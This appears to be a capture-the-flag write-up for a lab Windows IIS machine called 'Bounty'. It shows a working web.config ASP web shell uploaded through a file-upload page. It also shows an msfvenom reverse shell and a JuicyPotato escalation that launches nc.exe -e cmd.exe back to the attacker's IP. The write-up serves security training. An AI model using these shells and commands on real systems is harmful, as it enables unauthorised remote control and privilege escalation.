# Bounty

## Nmap

```
sudo nmap 10.10.10.93 -p- -sS -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

### Web Server

Browsing to the hosted web server we are greeted with an image of a wizard.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FHKySgdSGNe5S1kpHQkcx%2Fimage.png?alt=media&#x26;token=921d5073-7b78-4470-b74d-7a7ed9d6a705" alt=""><figcaption></figcaption></figure>

### Directory Brute Forcing

As there is nothing else to obtain from this page, even after checking the page source we can move on to directory brute forcing with `feroxbuster`.

Using the large files word list from `seclists` we discover the existence of `transfer.aspx`.

```
feroxbuster -u http://10.10.10.93 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt 
```

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FEHiZt1Fm10O3cdYHN3QL%2Fimage.png?alt=media&#x26;token=3fd46690-1473-46a9-a8b8-72f9c1d10da3" alt=""><figcaption></figcaption></figure>

Browsing to the `transfer.aspx` page we are given a opportunity to select a file for upload.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FSUpmwh1DDJe6rcHkqiOv%2Fimage.png?alt=media&#x26;token=018f4a79-129b-46ee-b6dd-240ddc09425b" alt=""><figcaption></figcaption></figure>

### File Upload - Web Shell

Going straight in and attempting to upload an `.aspx` reverse shell we see through `Burpsuite` that we are given an error due to an invalid file.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FydBPl85XT5XlBWIUnmpZ%2Fimage.png?alt=media&#x26;token=f6758937-6cb6-4165-8011-c4f451d75b7f" alt=""><figcaption></figcaption></figure>

In order to discover allowed file types I sent the request to Intruder and fuzzed the `.aspx` extension with a list of most common extensions.

Once completed sorting the results by length we see that responses with a length of 1350 indicate file upload was successful.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fq9f0UAEtraAaZd0ZK6AW%2Fimage.png?alt=media&#x26;token=c514b8cb-fe84-4ef5-a3cf-e5871e3fbc3e" alt=""><figcaption></figcaption></figure>

Most interesting  from the results is the `.config` file extension. This can be used against IIS servers for gaining web shells and reverse shells under the right circumstances.

The blog post linked below covers various ways of exploiting this:

**URL:** <https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/>

We are going to use a web shell as shown below. Save the contents in a file called `web.config`.

**Web.config Web Shell:** <https://github.com/tennc/webshell/blob/master/aspx/web.config>

```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<%
Response.Write("-"&"->")
Function GetCommandOutput(command)
    Set shell = CreateObject("WScript.Shell")
    Set exec = shell.Exec(command)
    GetCommandOutput = exec.StdOut.ReadAll
End Function
Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->
```

After saving the contents upload the web.config file to the target system. After uploading we see through the response in `Burpsuite` that the file upload was successful.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FlyH7P2hRSCFa36WHCyUB%2Fimage.png?alt=media&#x26;token=ad2c8c2e-3374-4b9e-bfae-8ccc20b1200a" alt=""><figcaption></figcaption></figure>

After uploading the file we still need to discover where to access it from. Using `feroxbuster` again with a different directory word list we soon discover the directory `/UploadedFiles/`.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F7hindvmVNnpNr3YfoTyr%2Fimage.png?alt=media&#x26;token=e001ac88-92e3-4173-bf00-0f7bdf9d57e1" alt=""><figcaption></figcaption></figure>

Using Burpsuite we sent a GET request to [`http://10.10.10.93/UploadedFiles/web.config?cmd=whoami`](http://10.10.10.93/UploadedFiles/web.config?cmd=whoami). Where we have append the command we wish to run.

Looking at the response, we see we are executing commands in the context of the user merlin.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fl7HdcpMTosspmPiknU90%2Fimage.png?alt=media&#x26;token=4b97dd86-bfcb-45d3-ad1b-5819458b7109" alt=""><figcaption></figcaption></figure>

### A Better Shell

We can now use the web shell to gain a proper shell.

<pre class="language-bash"><code class="lang-bash"><strong># Set up SMB server on attacking system
</strong><strong>smbserver.py -smb2support Share ~/bounty
</strong>
# Create reverse shell in same directory
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f exe -o reverse.exe
</code></pre>

After setting up as per the above commands use the web shell to execute the `msfvenom` payload.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F8mCAzmxzqPZnErPMloST%2Fimage.png?alt=media&#x26;token=50caa0be-7334-4d5e-8086-30bb8e229022" alt=""><figcaption></figcaption></figure>

Where out `netcat` listener should catch the shell.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FWQnMkOzqEDvrcAVrSUCF%2Fimage.png?alt=media&#x26;token=c70d609e-c206-4349-8240-202f0df56696" alt=""><figcaption></figcaption></figure>

### User Flag

Moving into merlin's Desktop directory we notice initially that it is empty. Running the command `dir /a` shows reveals hidden files, where we can now grab the `user.txt` flag.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F84wshoFT2DqBmzyTfYPY%2Fimage.png?alt=media&#x26;token=50b84a59-74fc-4910-aee3-19dd31c74ca3" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

Moving onto privilege escalation we perform the basics by checking our current user privileges with `whoami /priv`.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F66shOlAlElQNXxO6Nt4c%2Fimage.png?alt=media&#x26;token=a22cfe8f-aa60-4afb-8d53-aef1336a3473" alt=""><figcaption></figcaption></figure>

With the privilege `SeImpersonatePrivilege` we may be able to perform a [JuicyPotato](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato) attack to escalate privileges depending on the operating system version.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F1yAi48DbgUajrdD0VSAj%2Fimage.png?alt=media&#x26;token=06605382-0092-4c2a-903a-178499605e29" alt=""><figcaption></figcaption></figure>

In order to identify the correct CLSID to use we can either painstakingly guess or we can use a batch script to test for each possibility.&#x20;

Download the files below:

**Windows Server 2008 R2 Datacenter CLSID:** <https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list>

**test\_clsid.bat:** <https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat>

**JuicyPotato.exe:** <https://github.com/ohpe/juicy-potato/releases/tag/v0.1>

Place them in the specified folder for the SMB server we set up earlier and then on the target system copy them over.

```
copy \\10.10.14.6\Share\test_clsid.bat test_clsid.bat
copy \\10.10.14.6\Share\CLSID.list CLSID.list
copy \\10.10.14.6\Share\JuicyPotato.exe JuicyPotato.exe
```

Once downloaded run the batch file.

```
test_clsid.bat
```

This will test all possible CLSID's for Windows Server 2008.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FPocb5jCq14cTBKMYh20t%2Fimage.png?alt=media&#x26;token=6a111ba6-7b59-44b2-b3fe-0b9f5761d5dc" alt=""><figcaption></figcaption></figure>

Once completed we can check the result.log file for CLSID's which will work. From here make a note of any that are running under SYSTEM.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fj8dH8KTEYXSFsiqylSRq%2Fimage.png?alt=media&#x26;token=bcec5c2e-be0d-4f95-b9e3-6ea23b23edef" alt=""><figcaption></figcaption></figure>

To stage that attack we also need a copy of `nc.exe` on the target system. Again, place the file on our `SMB` share and copy the binary over.

Copy over `nc.exe`.

```
copy \\10.10.14.6\Share\nc.exe nc.exe
```

From here build the attack to call back to  a listening ports on the attacking system.&#x20;

```
juicypotato.exe -l 1234 -p nc.exe -a " -nv 10.10.14.6 4455 -e cmd.exe" -t * -c {659cdea7-489e-11d9-a9cd-000d56965251}
```

* -l : Create a listening port
* -p: Program to launch
* -a: use the following arguments
* -t: createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <\*> try both
* -c: {CLSID}

After running the command we should be given confirmation as shown below:

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F9R5CQB94toJlwBLkuIvK%2Fimage.png?alt=media&#x26;token=38155ca0-ff7b-4e3d-9629-f63b79d60649" alt=""><figcaption></figcaption></figure>

As well as receiving a **SYSTEM** shell on our listener.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FIgAphhi897fCBPc9KeLs%2Fimage.png?alt=media&#x26;token=cb72371c-76b9-443b-a87a-6be12a0e3145" alt=""><figcaption></figcaption></figure>

### Root Flag

From here we are able to retrieve the `root.txt` flag.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FVH9DZ092DfFBpWWkKlbr%2Fimage.png?alt=media&#x26;token=3b009c8f-3e8c-44c1-ba63-b3b910a9ac53" alt=""><figcaption></figcaption></figure>
